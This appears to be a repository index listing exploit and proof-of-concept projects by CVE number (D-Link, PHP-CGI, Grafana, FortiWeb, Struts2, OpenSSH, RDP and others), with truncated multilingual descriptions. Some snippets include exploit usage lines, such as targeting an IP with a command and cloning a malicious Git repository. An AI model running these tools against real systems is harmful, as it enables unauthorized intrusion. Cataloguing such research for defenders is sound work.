CVE-2024-57376

CVE-2024-57376 Exploit de ejecución remota de código sin autenticación para D-Link DSR-250 y DSR-250N Aviso de seguridad: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 Uso $ python3 exploit.py usage: Ejemplo $ python3 exploit.py 192.168.1.1 443 id + fingerprint...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git 概念验证 从 Docker 拉取 docker pull qweraqq/cve-2018-11235-git-submodule-rce 启动 Git HTTP 服务器 docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce 概念验证 git clone --recurse-submodules http://git.gitserver/malicious.git...

CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 Description In PHP versions 8.1. before 8.1.29, 8.2. before 8.2.20, 8.3. before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set to use certain code pages, Windows may use "Best Fit" behavior to replace characters in the command line...

CVE-2024-47051

Summary Bad sanitization of uploaded file's content, type and extension in the Asset Edition feature allows an authenticated attacker to write arbitrary PHP code inside the web directory and locate where said file is written. This results in Remote Code Execution. A path traversal also allows to...

printix-CVE-2022-29553

CVE-2022-29553 Simple Release | Print Friendly Una vulnerabilidad de "Exposed Dangerous Method or Function" o "Use of Hard-coded, Security-relevant Constants" en PrintixService.exe, en "Printix Secure Cloud Print Management" de Kofax Printix, Versión 1.3.1156.0 e inferiores permite a un atacante...

CVE-2024-54761

BigAnt Office Messenger 5.6.06 RCE mediante inyección SQL La vulnerabilidad de inyección SQL en BigAnt Messenger provoca una vulnerabilidad RCE. Siga los pasos para explotarla. Uso: CVE-2024-54761.py -h -r RHOST -p RPORT -u USERNAME -P PASSWORD options: -h, --help show this help message and exit...

CVE-2024-9264

🚨 CVE-2024-9264 - Grafana SQL注入导致远程代码执行（RCE）和文件读取 针对CVE-2024-9264的利用工具，Grafana中的一个关键漏洞 ，允许认证的攻击者执行SQL查询导致RCE 🛡️ 此工具严格用于教育目的 和授权的渗透测试 。 未经授权的使用是非法且不道德的。 🧠 漏洞概述 🕳️ 什么是CVE-2024-9264？ CVE-2024-9264 是Grafana中的一个关键缺陷，允许认证的攻击者执行SQL命令，导致RCE和文件读取 🧬 根本原因 不充分的清理。 💥 影响 RCE ：执行任意命令，获取反弹shell，或读取敏感文件。 高严重性...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 示例：...

CVE-2024-38063

CVE-2024-38063 - 通过IPv6远程利用内核 自从8月13日发布最新的Windows补丁以来，我一直深入研究tcpip.sys（负责处理TCP/IP数据包的内核驱动程序）。一个CVSS评分高达9.8的漏洞出现在Windows内核最容易触及的部分，我实在无法错过。我以前从未真正研究过IPv6（或负责解析它的驱动程序），所以我知道逆向分析这个漏洞将极具挑战性，但也是一次很好的学习体验。 史上最简单的补丁分析...

EUVD-2026-93987

Improper input validation in the AMD ROCm Communication Collectives Library RCCL could allow a compromised peer rank or network-adjacent attacker to dereference an attacker-controlled pointer, potentially resulting in remote code execution...

CVE-2026-43598

A vulnerability exists in the AMD ROCm Communication Collectives Library (RCCL) due to improper input validation . This flaw could allow a compromised peer rank or a network-adjacent attacker to dereference an attacker-controlled pointer, potentially leading to remote code execution (RCE) on Inst...

CVE-2025-25257

CVE-2025-25257 - FortiWeb Vulnerability Checker & Exploit A Python-based tool for checking and exploiting CVE-2025-25257 vulnerability in FortiWeb devices. This vulnerability allows SQL injection and remote code execution through a crafted Authorization header. 📋 Description CVE-2025-25257 is a...

-CVE-2017-9805-

Vulnerability information Resources: https://vulners.com/cve/CVE-2017-9805 What is this? A python exploit script capable of executing remote commands into the shell of a system hosting a Struts2 vulnerable to S2-052. Usage python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo...

ssh_poc2024

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...

sshuttle

sshuttle: donde convergen el proxy transparente, la VPN y ssh Hasta donde sé, sshuttle es el único programa que resuelve el siguiente caso común: Tu máquina cliente o router es Linux, FreeBSD o MacOS. Tienes acceso a una red remota a través de ssh. No necesariamente tienes acceso de administrador...

CVE-2019-16113-PoC

CVE-2019-16113 PoC Bludit = 3.9.2 Remote Code Execution Vulnerability via "Upload function". Simple Python PoC. Discovery by @christasa: https://github.com/bludit/bludit/issues/1081 Usage Edit the script with your URL, username, password and command to execute then run the script: $ python...

CVE-2019-11043

Ladon POC Moudle CVE-2019-11043 PHP-FPM + Ngnix Vulnerability Overview PHP-FPM Remote Code Execution Vulnerability CVE-2019-11043 During the Real World CTF organized by Chaitin Tech, foreign security researcher Andrew Danau discovered while solving a CTF challenge that sending the %0a symbol to t...

CVE-2025-24752-POC

CVE-2025-24752-POC Introduction This python application checks whether a site is vulnerable to CVE-2025-24752. Install Clone this repo and run: pip3 install -r requirements.txt Usage python3 cve-2025-24752.py --url http://example.com or python3 cve-2025-24752.py --urls-file urls.txt...

CVE-2019-0708

CVE-2019-0708 批量检测 0x01 前言 CVE-2019-0708 Windows RDP 远程命令执行漏洞 Windows系列服务器于2019年5月15号，被爆出高危漏洞，该漏洞影响范围较广，windows2003、windows2008、windows2008 R2、windows xp 系统都会遭到攻击，该服务器漏洞利用方式是通过远程桌面端口3389，RDP协议进行攻击的...

CVE-2026-105811

The QnABot on AWS (versions 7.0.0 through 7.4.5) contains an authorization bypass vulnerability in the optional Amazon Q Business Lambda hook sample (q-business-lambda-hook). This issue stems from a user-controlled key and could allow an authenticated remote user to read arbitrary Amazon S3 objec...